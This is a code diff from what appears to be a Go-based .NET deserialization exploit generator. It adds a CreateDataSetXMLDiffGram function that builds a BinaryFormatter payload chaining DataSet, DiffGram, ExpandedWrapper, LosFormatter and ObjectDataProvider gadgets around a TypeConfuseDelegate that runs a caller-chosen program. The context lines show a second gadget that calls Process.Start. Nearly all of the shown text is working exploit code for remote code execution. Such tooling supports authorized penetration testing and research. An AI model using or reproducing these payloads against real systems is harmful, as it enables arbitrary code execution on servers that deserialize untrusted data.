@@ -108,6 +108,81 @@ func IsValidXML(data []byte) bool {
108
108
return xml .Unmarshal (data , new (interface {})) == nil
109
109
}
110
110
111
+ func CreateDataSetXMLDiffGram (program string , args string , formatter string ) (string , bool ) {
112
+
113
+ string0 := `<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
114
+ <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
115
+ <xs:complexType>
116
+ <xs:choice minOccurs="0" maxOccurs="unbounded">
117
+ <xs:element name="hehe">
118
+ <xs:complexType>
119
+ <xs:sequence>
120
+ <xs:element name="pwn" msdata:DataType="System.Collections.Generic.List` + "`" + `1[[System.Data.Services.Internal.ExpandedWrapper` + "`" + `2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
121
+ </xs:sequence>
122
+ </xs:complexType>
123
+ </xs:element>
124
+ </xs:choice>
125
+ </xs:complexType>
126
+ </xs:element>
127
+ </xs:schema>`
128
+
129
+ innerTypeConfuseDelegate , ok := CreateTypeConfuseDelegate (program , args , LOSFormatter )
130
+ if ! ok {
131
+ return "" , false
132
+ }
133
+ b64String := make ([]byte , base64 .StdEncoding .EncodedLen (len (innerTypeConfuseDelegate )))
134
+ base64 .StdEncoding .Encode (b64String , []byte (innerTypeConfuseDelegate ))
135
+ innerTypeConfuseDelegateBase64 := string (b64String )
136
+ // this is a placeholder for now... string1 will need to be replaced with the next gadget
137
+ string1 := `<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
138
+ <somedataset>
139
+ <hehe diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
140
+ <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
141
+ <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
142
+ <ExpandedElement/>
143
+ <ProjectedProperty0>
144
+ <MethodName>Deserialize</MethodName>
145
+ <MethodParameters>
146
+ <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">` + innerTypeConfuseDelegateBase64 + `</anyType>
147
+ </MethodParameters>
148
+ <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
149
+ </ProjectedProperty0>
150
+ </ExpandedWrapperOfLosFormatterObjectDataProvider>
151
+ </pwn>
152
+ </hehe>
153
+ </somedataset>
154
+ </diffgr:diffgram>`
155
+ libraryID := 2
156
+ binaryLibrary := BinaryLibraryRecord {ID : libraryID , Library : "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
157
+ className := "System.Data.DataSet"
158
+ memberNames := []string {"XmlSchema" , "XmlDiffGram" }
159
+ var memberValues []interface {}
160
+ var additionalInfo []interface {}
161
+ memberTypes := []string {
162
+ "String" ,
163
+ "String" ,
164
+ }
165
+ memberValues = append (memberValues , BinaryObjectRecord {ObjectID : 3 , Value : string0 })
166
+ memberValues = append (memberValues , BinaryObjectRecord {ObjectID : 4 , Value : string1 })
167
+ classInfo := ClassInfo {ObjectID : 1 , Name : className , MemberCount : len (memberNames ), MemberNames : memberNames }
168
+ memberTypeInfo , ok := getMemberTypeInfo (memberTypes , memberNames , additionalInfo )
169
+ if ! ok {
170
+ return "" , false
171
+ }
172
+ classWithMembersAndTypes := ClassWithMembersAndTypesRecord {ClassInfo : classInfo , LibraryID : libraryID , MemberTypeInfo : memberTypeInfo , MemberValues : memberValues , BinaryLibrary : binaryLibrary }
173
+ classWithMembersAndTypesString , ok := classWithMembersAndTypes .ToRecordBin ()
174
+ if ! ok {
175
+ return "" , false
176
+ }
177
+ serializationHeaderRecord := SerializationHeaderRecord {RootID : 1 , HeaderID : - 1 }
178
+ serializationHeaderRecordString , _ := serializationHeaderRecord .ToRecordBin ()
179
+ binLibString , _ := binaryLibrary .ToRecordBin ()
180
+
181
+ payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + string (byte (RecordTypeEnumMap ["MessageEnd" ]))
182
+
183
+ return payload , true
184
+ }
185
+
111
186
func CreateTextFormattingRunProperties (program string , args string , formatter string ) (string , bool ) {
112
187
xmlData := fmt .Sprintf (`<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:X="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:S="clr-namespace:System;assembly=mscorlib" xmlns:D="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider X:Key="" ObjectType="{X:Type D:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><S:String>%s</S:String><S:String>%s</S:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>` , program , args )
113
188
0 commit comments